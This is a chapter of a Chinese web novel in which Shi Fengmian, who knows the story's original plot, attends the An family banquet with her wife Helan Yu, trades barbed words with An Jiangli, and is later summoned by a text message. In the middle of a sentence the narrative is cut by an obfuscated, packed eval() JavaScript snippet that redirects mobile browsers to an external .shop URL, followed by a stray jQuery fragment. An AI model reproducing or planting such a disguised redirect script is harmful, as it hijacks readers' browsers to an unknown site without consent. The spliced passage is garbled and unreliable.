21. 第21章
    一周后。

    为了参加安家的宴会,时风眠提前一天挑选了礼服,过程顺利,当晚就跟贺兰毓共同前往安家。

    明月高悬,寥寥几颗星辰。

    此时,大门外已经停置了不少豪车。

    这些人基本彼此都认识,见面的时候,举止言谈都显得有几分熟络。

    直到一辆迈巴赫出现在众人眼前,惹来诸多目光,只见车门打开,时风眠一身法式的墨绿晚礼服,缎面柔滑,腰间配着多层的金细链。

    她将发丝盘起,露出修长的脖颈,周身散发华贵沉稳的气场。

    时风眠伸出手掌心,握住另一名女子的手,后者一袭月白的流苏礼服,发梢微卷,神情是习以为常的冷漠。

    她牵着贺兰毓下车后,就松开了手。

    向前扫视一圈,便发现了目前的状况,在a市有那么几个家族,分别是时家、沈家和安家,有时会因为利益合作,更多时候还是在明争暗斗。

    原文里没有提到这几家争斗结局,因为是从贺兰毓和安江篱展开的爱情故事,而安江篱上头有位长姐当家,自己平时就只负责放纵玩乐。

    可惜那位长姐命短,没过几年就病逝,家族的遗产就全由安江篱继承了。

    由此,两人爱情事业双丰收,全文的剧情也走向结局。

    时风眠看的时候是喜闻乐见,但是换成她要给安江篱当垫脚石,却是绝无可能的。

    她自觉做好了准备,反倒心里有点好奇,想见一见这位传闻中主角攻。

    两人携手进入会客大厅,就看到了里面众多宾客,即使是毫无印象的面孔,见面了也都寒暄两句。

    本来宴会也邀请了沈潇潇,不过她临时出差,所以没能抽空过来。

    时风眠游刃有余地应付,接着前方走来一名容貌温婉,格纹套装的女人,语气有几分熟稔地对她说道:

    “风眠,我们几年没见,你看上去还是跟以前一样。”

    时风眠眸光微动,轻笑道:“你不也没变。”

    这就是安家的长姐安方仪。

    其实,她就比自己大两岁,俩人小时候还在一个幼儿园待过,安方仪人品好,对身边的人都和和气气。

    不过随着各自成长,已经有七八年没见过面了。

    “这位就是贺兰小姐吧?”安方仪目光落在她身旁,含笑问道。

    “你好。”

    贺兰毓礼貌性地微笑,与她虚握了手。

    “客气了,我曾经有一段时间,常常听你的歌,当时给了我很大的鼓励和勇气。”

    安方仪待人大方,其实很有商业头脑,在家就颇受老夫人器重,后面立场不同,还给时风眠制造了一些棘手的麻烦。

    所以在前期,时风眠会先与安方仪周旋。

    这时候,安方仪却看着贺兰毓,似乎有很多话题一样,从休养期间到现在发生了什么事。

    时风眠便不去打扰,自己往其他区域走去。

    “我有件事想请教你,能不能借一步说话?”安方仪目光充满兴趣,说。

    贺兰毓轻轻颔首道:“请说。”

    “我看过你的专访,你在里面的表现和回答,都是真实的吗?”

    “……”

    时风眠走开一会儿,就发现安家的老夫人现身了,视线落在前方,主桌两边坐着安家的子孙。

    老夫人容光焕发,旁边是一名面生的年轻女人。

    女人身着黑色的礼服,及肩的短发,她无疑是周围人的中心,面对她人的询问,举手投足都颇有气度,八面玲珑。

    不消说,这位就是安江篱了。

    时风眠主动上前,“老夫人。”

    老夫人见到她,露出一个慈爱的笑容,“是小眠啊,你母亲近年一直在国外,她身体还好吗?”

    时风眠微笑着点头,说道:“一切都好,还让我来看望您。”

    闻言,老夫人有些感慨。

    “奶奶,你别伤心,有我在你身边,外人的事情就不要操心了。”一道柔柔的声音打断了她的追忆。

    老夫人回过神来,脸上复现笑容,道:“没错,还有小篱。”

    “这位是?”时风眠疑惑道。

    话音落,安江篱表情略微僵硬。

    “我的二孙女,江篱。”

    当老夫人回过头时,安江篱仍然一副乖顺的样子。

    “我有意培养小篱,将来帮姐姐分忧,要说也是天意,安家需要这孩子的时候,她就刚好出现了。”

    时风眠面上客气应和。

    有一瞬间,她觉得安江篱对自己怀有敌意。

    安江篱态度谦逊,别有深意地笑道:“时总年少有为,还娶了……那样出色的妻子,我也不会输给她。”

    这句话多少有点挑衅。

    时风眠微眯起眼眸,掠过一丝轻蔑:

    “我听过很多人这么说,毫无新意。”

    空气顿时有些凝滞。

    安江篱仿佛没听到,精妙地将话题扯开,巧言令色,将老夫人哄得相当开心。

    忽然,时风眠感觉身后有道注视的目光。

    而安江篱也停止说话,直直往她身后看去,神情有些许怔愣。

    周围的人和事物仿佛都变慢了。

    时风眠似有所感,没有回头,就感觉手臂被柔软的手挽住,接着嗅到一缕淡淡的冷香。

    “我等了你很久。”耳畔传来贺兰毓的声音,听不出别的情绪。

    她跟安方仪聊完后,就一直在原地等时风眠。

    最后,还是自己起身过来寻找。

    贺兰毓先是问候了老夫人,视线才落在安江篱脸上。

    时风眠面色不变,心里却感到一丝紧张。

    这俩人还是见面了。

    接下来……会发生什么?

    “二小姐。”贺兰毓微微一笑,客气又疏离。

    安江篱点了点头,欲言又止。

    只是,纵有千言万语,也仿佛突然在喉咙里卡住了。

    十秒八个表情。

    时风眠看出来了,暗想戏真多。

    她没有

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344879|152653||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    当场点破那点气氛,顺着贺兰毓离开,回到席间的时候,忍不住瞄了一眼对方。

    贺兰毓状态跟之前不一样,看上去有些心不在焉。

    时风眠敛下眼眸,“怎么不说?”

    “什么?”

    “安二小姐认出你了。”

    “……”贺兰毓微皱起秀眉,浮现些许犹疑,说道:

    “她已经不似从前,如今各自奔走,认不认得出不重要了。”

    时风眠轻抿了口酒,随口说道:

    “你觉得会打扰到她?也许你们都这么想。”

    贺兰毓抬起眼眸,静默地望着她。

    时风眠顿时无所适从。

    她心里一直想着事情,不知不觉流露出想法,在对方看来自己的表现可能有些异常。

    当时风眠仔细观察贺兰毓的表情,发现她其实是在意安江篱的。

    下一刻,时风眠没听清贺兰毓说什么,只见对方起身,绕过自己缓缓走远了。

    过了会儿,她后知后觉想起来,贺兰毓去了洗手间的方向。

    她独自坐着,没有理会身边敬酒的人。

    在这次的宴会上,会发生一个情节,那就是贺兰毓借酒消愁的时候,出去散心,碰巧遇到了安江篱,两人之间的旧情复燃。

    时风眠将原文的描述,又仔细琢磨了一遍。

    她现在只需要待这里,当无关紧要的背景板,这样她俩才能顺利单独相处,互生情愫。

    时风眠一边想着,一边余光注意某个方向。

    安江篱跟周围亲友相处融洽,靠着嘴甜,即使流落在外十几年,一朝归来,还能自来熟地跟任何一个人好。

    为了荣华富贵,能屈能伸。

    时风眠心里也是佩服。

    她忽然想到,安江篱跟贺兰毓的交情,要追溯到大学期间,贺兰毓受到家庭和金钱的双重压力,在追逐梦想中痛苦摇摆时,是安江篱给予了人生第一个帮助、陪伴。

    所以,在贺兰毓心里,安江篱一直是“白月光”般的存在。

    时风眠心中感叹,紧接着就觉得时间过得太慢。

    贺兰毓还没有回来,而安江篱也没有离开的迹象,这让她有些费解。

    又过了几分钟,安江篱突然被安方仪叫走,后者脸色严肃,安江篱在亲姐面前最为敬重,也一脸板正。

    好像是临时交代某事,两人的身影在视野里消失。

    她若无其事地收回目光,低头抿了一口红酒,心中暗想:

    这样她们还怎么独处?

    时风眠心里疑惑,不由得想起贺兰毓,不知道对方此时在做什么。

    她连忙将脑袋里想法甩掉,正思考下一步行动时,手机却提示收到一条新短信:

    我们应该谈谈。

    她目光微顿,发送人竟然是贺兰毓。

    时风眠不由得攥紧手机,过了一会儿又松开了,视线掠过周围喧嚷的宾客。

    酒过三巡,没人注意谁离开了。

    她沉思片刻,起身从会客厅走出去。